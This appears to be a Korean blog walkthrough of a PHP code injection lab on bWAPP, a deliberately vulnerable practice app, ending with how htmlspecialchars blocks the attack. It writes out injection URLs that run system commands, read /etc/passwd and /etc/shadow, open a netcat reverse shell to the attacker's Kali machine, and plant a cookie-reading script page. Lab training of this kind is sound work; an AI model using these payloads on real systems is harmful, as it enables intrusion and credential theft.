PHP Code Injection

반응형

PHP Code Injection이란?

웹 어플리케이션을 통해 PHP 코드를 입력하면, 웹 어플리케이션의 입력을 정상적으로 인식하여 개발자가 의도와는 다르게 내부에 있는 PHP 코드를 실행하는 기법이다.

 

이제 bWAPP에 들어가보면

다음과 같이 나온다. message 버튼을 누르면

이렇게 나온다. 이 때 중요한 것은 URL이다.

URL을 확인하면

message=test라는 것을 확인할 수 있었다.

PHP에서 exec() 함수나 eval() 함수를 사용한 경우 세미콜론(;)을 사용하여 다른 함수를 실행할 수 있다는 취약점이 있는데 이 페이지에도 취약점이 있는지 확인하기 위해 ;과 system 함수를 같이 써보았다.

입력 URL = http://192.168.0.15/bWAPP/phpi.php?message=WTF;system("whoami")

입력 해보니 WTF와 함께 시스템에 로그인한 사용자의 이름을 출력해주었다.

(※ whoami =  시스템에 현재 로그인한 사용자의 이름을 출력해준다.)

맞다 이 페이지는 취약점이 존재한다는 것이다.

이제 ;과 함께 시스템 정보를 획득할 수 있는 명령어를 사용해보자

우선 cat /etc/passwd를 통해 사용자 계정 정보를 알아 보겠다.

입력 URL = http://192.168.0.15/bWAPP/phpi.php?message=WTF;system("cat /etc/passwd")

입력하면 다음과 같이

계정들을 알아낼 수 있다.

다음으로 cat /etc/shadow 명령어를 통해 더 자세한 정보를 알아 보겠다.

입력 URL = http://192.168.0.15/bWAPP/phpi.php?message=WTF;system("cat /etc/shadow")

입력 결과

아무 정보도 알 수가 없었다.

이유인 즉슨 현재 passwd 파일은 웹 권한으로 파일이 열람이 가능하지만 shadow 확인을 하려면 권한 상승을 해야 했었다.

그래서 우리는 상위 권한을 탈취하기 위해 nc를 이용하여 해당 서버의 쉘에서 임의의 명령어를 수행하기로 했다.

칼리를 키고 터미널을 열어 OS command Injection때 했던 것처럼 nc 명령어를 입력해준다.

-> nc -l -p 2019

입력을 하고 bWAPP에 돌아와서 URL에 다음과 같이 입려해준다.

http://192.168.0.15/bWAPP/phpi.php?message=WTF;system('nc 192.168.0.16 -e /bin/bash' )

입력을 하면 bWAPP에서 응답을 기다리는 중이라고 나올 것이다.

그럼 kali에서 시스템 명령어 아무거나 쳐보자

다음과 같이 나오면 연결 성공이다.

이제 칼리에서 명령어 수행이 가능하다.

일반적으로 터미널에서 명령어 입력할 때 프롬프트가 있지만 nc로 셸을 사용할 때는 프롬프트 사용이 안되고 vi 편집기를 사용할 수가 없다. 그러므로 다음과 같은 명령어를 입력해줘야한다.

-> python -c 'import pty;pty.spawn("/bin/bash")'

입력을 하면

다음과 같이 프롬프트가 출력되고 vi 편집기를 이용하여 악의적인 파일을 직접 입력 및 FTP, SSH 연결을 실행할 수 있다.

이제 echo 명령어로 스크립트 코드가 포함된 파일을 생성하고 pwd 명령어로 /var/www/bWAPP에 새로운 파일을 생성한다.

->echo "<script>alert(document.cookie)</script>" > /var/www/bWAPP/ssalbyul.html

※ alert() = 경고창을 띄워주는 함수, document.cookie = 쿠키를 반환해줌

다음과 같이 입력해준 후 이제 만든 페이지에 들어가보면

사용자의 쿠키값을 얻어낼 수 있다.

 

난이도-(medium, high)

난이도 중, 상단계는 먼저 코드부터 확인하자

/var/www/bWAPP에 들어가서 phpi.php 파일을 들어가서 

이 부분을 찾으면 중, 상 단계에서는 htmlspecialchars 함수가 적용되어 있는 것을 확인할 수 있다.

htmlspecialchars 함수는 스크립트나 특수기호를 그자체로 보이게 해서 작동을 안하게 만드는 함수이다.

그로인해 스크립트나 특수문자가 해당 페이지에서 적용이 되지 않기 때문에 공격이 통하지 않는다.

반응형